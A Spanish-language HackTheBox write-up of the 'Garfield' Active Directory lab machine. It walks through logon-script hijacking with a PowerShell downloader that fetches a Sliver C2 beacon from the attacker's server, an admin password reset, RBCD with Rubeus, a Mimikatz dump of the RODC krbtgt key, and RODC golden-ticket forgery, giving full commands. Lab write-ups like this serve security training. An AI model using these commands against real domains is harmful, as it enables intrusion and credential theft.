Search

Escribe para buscar.

en
HackTheBox: Garfield

HackTheBox: Garfield

Junior Restituyo
nullvestige

Garfield es una máquina Windows Active Directory de nivel difícil que encadena abuso de ACLs, secuestro de logon scripts, Resource-Based Constrained Delegation (RBCD) contra un Read-Only Domain Controller, y forja de golden ticket RODC para lograr el compromiso total del dominio.

Enumeración

Comenzamos autenticándonos con powerview.py usando las credenciales de la cuenta j.arbuckle. PowerView es una herramienta de enumeración de Active Directory que nos permite consultar objetos del dominio, ACLs y relaciones de confianza directamente desde la línea de comandos.

bash
python3 powerview.py garfield.htb/j.arbuckle:'<PASSWORD>'@10.129.244.207

Una vez autenticados, enumeramos las propiedades y membresías de grupo del usuario para entender con qué nivel de acceso contábamos. Encontramos que j.arbuckle era miembro del grupo IT Support, lo cual sería importante para los siguientes pasos.

Get-DomainUser -Identity j.arbuckle

Enumeración del usuario j.arbuckle

Luego revisamos las ACLs sobre los objetos de usuario para ver qué podía hacer el grupo IT Support. Al revisar las ACLs de l.wilson, encontramos que el grupo GARFIELD\IT Support tenía permisos de ReadProperty y WriteProperty sobre el atributo Script-Path. Esto significa que los miembros de IT Support pueden leer y modificar la ruta del logon script asignada a los usuarios, lo que abre la puerta a un ataque de secuestro de logon script.

Get-DomainObjectAcl -Identity "l.wilson"

ACLs mostrando que IT Support puede modificar Script-Path en l.wilson

Secuestro de Logon Script

Sabiendo que podíamos modificar logon scripts, enumeramos el recurso compartido SYSVOL buscando scripts existentes. Encontramos printerDetect.bat en la carpeta de scripts. Al descargarlo y examinar su contenido, vimos que era un simple archivo batch que ejecuta wmic para detectar impresoras instaladas. Este script legítimo sería nuestro vehículo para entregar un payload.

bash
smbclient '//10.129.244.207/sysvol' -U 'garfield.htb/j.arbuckle%<PASSWORD>' -c 'cd garfield.htb/scripts; ls; get printerDetect.bat'

Listando scripts en SYSVOL y descargando printerDetect.bat

Acceso Inicial con Sliver

Con la capacidad de modificar logon scripts, nuestro plan fue reemplazar el script legítimo con uno malicioso que entregara un beacon de Sliver C2. Abrimos la consola de Sliver e iniciamos un listener HTTPS en el puerto 443 para recibir conexiones entrantes del objetivo.

Configurando listener de Sliver

Luego generamos un ejecutable beacon para Windows configurado para conectarse de vuelta a nuestro listener. La compilación se completó con ofuscación de símbolos habilitada, produciendo el implante session.exe.

generate -b https://10.10.14.54 --os windows --arch amd64 -f exe -s session.exe

Generando el beacon de Sliver

Para entregar el beacon al objetivo, lo servimos en un servidor HTTP simple de Python en el puerto 80. Cuando el logon script se ejecute, descargará el beacon desde este servidor.

bash
python3 -m http.server 80

Sirviendo el payload

Creamos un printerDetect.bat malicioso que usa PowerShell para descargar el beacon de Sliver al directorio temporal del usuario y ejecutarlo. El payload se codifica en base64 con formato UTF-16LE para evitar problemas con caracteres especiales en la línea de comandos.

bash
PAYLOAD='(New-Object Net.WebClient).DownloadFile("http://10.10.15.146/session.exe", "$env:TEMP\session.exe"); $p=Start-Process "$env:TEMP\session.exe" -PassThru; $p.waitforexit()'
B64=$(echo -n $PAYLOAD | iconv -t UTF-16LE | base64 -w 0)

cat > printerDetect.bat << EOF
@echo off
powershell -enc $B64
EOF

Creando el logon script malicioso

Con el script malicioso listo, lo subimos de vuelta al recurso compartido SYSVOL, reemplazando el original. Podemos ver que el tamaño del archivo cambió de 217 bytes (el script original de detección de impresoras) a 479 bytes (nuestro payload), confirmando que el reemplazo fue exitoso.

bash
smbclient '//10.129.244.207/sysvol' -U 'garfield.htb/j.arbuckle%<PASSWORD>' -c 'cd garfield.htb/scripts; put printerDetect.bat'

Subiendo el logon script modificado

El siguiente paso fue asignar el logon script a un usuario objetivo. Usando bloodyAD, configuramos el atributo scriptPath de l.wilson para que apunte a nuestro script malicioso. La herramienta confirmó que la actualización fue exitosa.

bash
bloodyAD --host 10.129.244.207 -d garfield.htb -u j.arbuckle -p '<PASSWORD>' set object l.wilson scriptPath -v printerDetect.bat

Asignando el logon script a l.wilson

Después de esperar a que el usuario iniciara sesión, recibimos un callback en Sliver. La sesión llamada ELATED_CALCULATION llegó desde DC01 (10.129.244.207), confirmando que el secuestro del logon script fue exitoso.

Sesión de Sliver establecida

Interactuamos con la sesión y ejecutamos whoami, confirmando que estábamos operando como GARFIELD\l.wilson en el host comprometido.

Confirmando identidad como l.wilson

Movimiento Lateral

Con un punto de apoyo como l.wilson, continuamos enumerando con PowerView. Inspeccionamos las ACLs de la cuenta l.wilson_adm. Los resultados revelaron dos permisos críticos que tenía GARFIELD\l.wilson: User-Change-Password y User-Force-Change-Password. Esto significa que nuestro usuario actual podía resetear la contraseña de la cuenta admin sin conocer la anterior, dándonos una ruta directa a la escalación de privilegios.

Get-DomainObjectAcl -Identity "l.wilson_adm"

Permisos ACL sobre l.wilson_adm

Aprovechando estos permisos a través de nuestra sesión de Sliver, reseteamos la contraseña de l.wilson_adm usando Set-ADAccountPassword con el flag -Reset.

execute -o -t 10 -- powershell "Set-ADAccountPassword -Identity l.wilson_adm -Reset -NewPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)"

Reseteando contraseña de l.wilson_adm

Con las nuevas credenciales, nos conectamos a la máquina por RDP usando xfreerdp. En el escritorio encontramos el archivo user.txt y lo abrimos en Notepad, capturando exitosamente la primera flag.

bash
xfreerdp /v:10.129.244.207 /u:l.wilson_adm /p:'Password123!'

Flag de usuario capturada

Ataque RBCD contra RODC

Con acceso RDP como l.wilson_adm, subimos nuestro kit de herramientas a DC01 en una carpeta llamada “Dont Touch” en el escritorio. Las herramientas incluían Powermad, PowerView, PsExec, Rubeus y el beacon de Sliver session.exe para pivotar a otras máquinas.

Herramientas subidas a DC01

Comenzamos enumerando todas las computadoras unidas al dominio con PowerView. La salida reveló RODC01, un Read-Only Domain Controller corriendo Windows Server 2019 Datacenter. Notablemente, su userAccountControl mostraba WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION y PARTIAL_SECRETS_ACCOUNT, confirmando su rol de RODC.

Get-DomainComputer

Enumeración de computadoras del dominio

Inspeccionamos las ACLs del objeto de computadora RODC01 y encontramos que GARFIELD\l.wilson_adm tenía múltiples permisos críticos: User-Force-Change-Password, User-Account-Restrictions y User-Logon, todos con acceso WriteProperty. El permiso de User-Account-Restrictions es el clave, ya que permite modificar el atributo msDS-AllowedToActOnBehalfOfOtherIdentity, habilitando un ataque RBCD.

Get-DomainObjectAcl -Identity "RODC01$"

ACLs mostrando permisos para RBCD

Para realizar el ataque RBCD, primero necesitábamos una cuenta de máquina bajo nuestro control. Usando Powermad desde una sesión de PowerShell en DC01, creamos una nueva cuenta de computadora llamada Attacktesting. La salida confirmó que la cuenta de máquina fue agregada exitosamente al dominio.

powershell
. .\powermad.ps1
New-MachineAccount -Domain garfield.htb -DomainController 192.168.100.1 -MachineAccount Attacktesting -Password (ConvertTo-SecureString 'Password123' -AsPlainText -Force) -Verbose

Creando cuenta de máquina con Powermad

Con la cuenta de máquina creada, cargamos PowerView y configuramos la delegación RBCD estableciendo PrincipalsAllowedToDelegateToAccount en RODC01 hacia nuestra cuenta attacktesting$. La salida verbose confirmó que la operación “Set” fue realizada sobre el objeto RODC01.

powershell
. .\powerview.ps1
Set-ADComputer -Identity rodc01 -PrincipalsAllowedToDelegateToAccount attacktesting$ -Verbose

Configurando delegación RBCD

Desde la sesión de PowerShell en DC01, usamos Rubeus para realizar la cadena de ataque S4U (Service for User). Esto solicita un TGT para nuestra cuenta de máquina, luego encadena S4U2Self y S4U2Proxy para obtener un ticket de servicio CIFS para RODC01 suplantando al Administrator. La salida mostró “Ticket successfully imported!”, confirmando que el ticket fue cargado en memoria.

powershell
.\Rubeus.exe s4u /user:attacktesting$ /aes256:<KEY> /msdsspn:cifs/rodc01.garfield.htb /impersonateuser:administrator /ptt

Ataque S4U con Rubeus

Con el ticket de servicio de Administrator cargado, teníamos acceso al sistema de archivos de RODC01. Usamos Copy-Item para transferir el beacon de Sliver al share administrativo C$ de RODC01.

execute -o -t 10 -- powershell "copy-item c:\\users\\public\\session.exe \\\\RODC01.garfield.htb\\C$\\session.exe"

Copiando beacon a RODC01

Luego usamos PsExec para ejecutar remotamente el beacon de Sliver session.exe que habíamos copiado previamente en RODC01, usando el flag -s para correrlo como SYSTEM.

.\PsExec.exe -accepteula \\RODC01.garfield.htb -s cmd.exe /c "c:\session.exe"

Ejecución de PsExec en RODC01

Recibimos una nueva sesión de Sliver desde RODC01 (10.129.244.207:49825), confirmando que el movimiento lateral fue exitoso.

Sesión de Sliver desde RODC01

Interactuamos con la nueva sesión y ejecutamos whoami, confirmando que estábamos corriendo como NT AUTHORITY\SYSTEM en el RODC con logon ID GARFIELD\RODC01$.

SYSTEM en RODC01

Extracción de Claves RODC y Golden Ticket

Con acceso SYSTEM en el RODC, nuestro objetivo era extraer la clave krbtgt del RODC para forjar tickets Kerberos. Subimos Mimikatz a la máquina a través de nuestra sesión de Sliver, que lo escribió en c:\mimikatz.exe.

upload mimikatz.exe

Subiendo Mimikatz

Usando Mimikatz 2.2.0, habilitamos privilegios de debug y volcamos la cuenta krbtgt local del RODC (krbtgt_8245) usando lsadump::lsa /inject. La salida reveló el SID del dominio (S-1-5-21-2502726253-3859040611-225969357), el RID (1603) y el hash NTLM de la cuenta krbtgt_8245. Cada RODC tiene su propia cuenta krbtgt con un número de clave único, y estas claves pueden usarse para forjar tickets que el DC principal aceptará bajo ciertas condiciones.

execute -o -t 10 -- powershell 'C:\mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt_8245" "exit"'

Extrayendo clave krbtgt del RODC

Sin embargo, los RODCs tienen restricciones de seguridad que limitan qué contraseñas de cuentas pueden cachear. Verificamos el atributo msDS-NeverRevealGroup y encontramos que varios grupos privilegiados estaban bloqueados: Denied RODC Password Replication Group, Account Operators, Server Operators, Backup Operators y Administrators. Esto significaba que no podíamos usar directamente el RODC para acceder a hashes de cuentas privilegiadas.

powershell
(Get-ADComputer 'RODC01$' -Properties msDS-NeverRevealGroup).'msDS-NeverRevealGroup'

Lista de replicación denegada del RODC

Del lado permitido, solo el grupo Allowed RODC Password Replication Group estaba listado en msDS-RevealOnDemandGroup, y el Administrator no era miembro de él.

powershell
(Get-ADComputer 'RODC01$' -Properties msDS-RevealOnDemandGroup).'msDS-RevealOnDemandGroup'

Grupo de replicación permitida del RODC

Para evadir estas restricciones, necesitábamos encontrar una forma de modificarlas. Enumeramos l.wilson_adm con PowerView y descubrimos que la cuenta (Liz Wilson ADM) era miembro del grupo Tier 1.

Get-DomainUser -Identity l.wilson_adm

Membresías de grupo de l.wilson_adm

Al inspeccionar las ACLs del grupo RODC Administrators, descubrimos que GARFIELD\Tier 1 tenía acceso Self con ObjectAceType: Member, lo que significa que los miembros de Tier 1 podían agregarse a sí mismos (u otras cuentas) al grupo RODC Administrators. Esta era la clave para escalar nuestro control sobre las políticas de replicación del RODC.

Get-DomainObjectAcl -Identity "RODC Administrators"

ACL de Tier 1 sobre RODC Administrators

Agregamos l.wilson_adm al grupo RODC Administrators y verificamos la membresía con Get-ADGroupMember, confirmando que Liz Wilson ADM ahora aparecía como miembro.

powershell
Add-ADGroupMember "RODC Administrators" -Members l.wilson_adm

Agregando l.wilson_adm a RODC Administrators

Con derechos de administrador del RODC, vaciamos toda la lista de replicación denegada (msDS-NeverRevealGroup), eliminando todas las restricciones sobre qué cuentas podían tener sus contraseñas cacheadas.

powershell
Set-ADComputer 'RODC01$' -Clear 'msDS-NeverRevealGroup' -Verbose

Vaciando la lista de replicación denegada

Luego agregamos explícitamente la cuenta de Administrator del dominio (por su nombre distinguido) al grupo de replicación permitida, habilitando al RODC para cachear las credenciales del Administrator.

powershell
Set-ADComputer 'RODC01$' -Add @{'msDS-RevealOnDemandGroup' = 'CN=Administrator,CN=Users,DC=garfield,DC=htb'} -Verbose

Agregando Administrator a replicación permitida

Con todas las restricciones eliminadas, usamos Rubeus para forjar un golden ticket usando la clave krbtgt del RODC. La salida mostró a Rubeus generando el EncTicketPart, firmando el PAC, encriptando el ticket, y finalmente forjando un TGT para Administrator@garfield.htb. El ticket codificado en base64 fue generado para usarlo en nuestra máquina atacante.

.\Rubeus.exe golden /rodcNumber:8245 /aes256:<KEY> /user:Administrator /id:500 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357 /nowrap

Forjando el golden ticket RODC

Compromiso del Dominio

Con el ticket forjado en mano, nos movimos a nuestra máquina atacante Linux para usarlo con Impacket. Primero, decodificamos el ticket en base64 y lo guardamos como tgs.kirbi.

bash
echo "<BASE64_TICKET>" | base64 -d > tgs.kirbi

Guardando el ticket

Luego convertimos el formato .kirbi a .ccache usando impacket-ticketConverter, que es el formato utilizado por Impacket y otras herramientas Kerberos basadas en Linux.

bash
impacket-ticketConverter tgs.kirbi tgs.ccache

Convirtiendo ticket a formato ccache

Exportamos el ticket en nuestro cache de credenciales Kerberos.

bash
export KRB5CCNAME=tgs.ccache

Luego, creamos un one-liner de PowerShell que descarga y ejecuta nuestro beacon de Sliver, y lo codificamos en base64 (UTF-16LE) para usarlo con powershell -enc.

bash
echo -n "\$u='http://10.10.14.54/session.exe';\$p='C:\\Windows\\Temp\\session.exe';(New-Object Net.WebClient).DownloadFile(\$u,\$p);Start-Process \$p -Wait" | iconv -t UTF-16LE | base64 -w 0

Con el comando codificado listo, usamos impacket-atexec para crear y ejecutar una tarea programada en DC01 como Administrator. La herramienta creó una tarea, la ejecutó, la eliminó y leyó la salida, todo usando autenticación Kerberos con nuestro ticket forjado (-k -no-pass).

bash
impacket-atexec 'garfield.htb/administrator@DC01.garfield.htb' -k -no-pass 'powershell -enc <ENCODED_COMMAND>'

Ejecutando beacon en DC01 via atexec

Recibimos la sesión final de Sliver ELATED_CALCULATION desde DC01 (10.129.244.207:53067), el Domain Controller principal.

Sesión de Sliver desde DC01

Interactuamos con la sesión y ejecutamos whoami, confirmando que teníamos acceso NT AUTHORITY\SYSTEM con logon ID GARFIELD\DC01$, confirmando el compromiso total del dominio.

SYSTEM en DC01

Finalmente, leímos la flag de root desde c:/users/administrator/desktop/root.txt usando el comando cat de Sliver, completando la máquina.

Flag de root capturada

Contents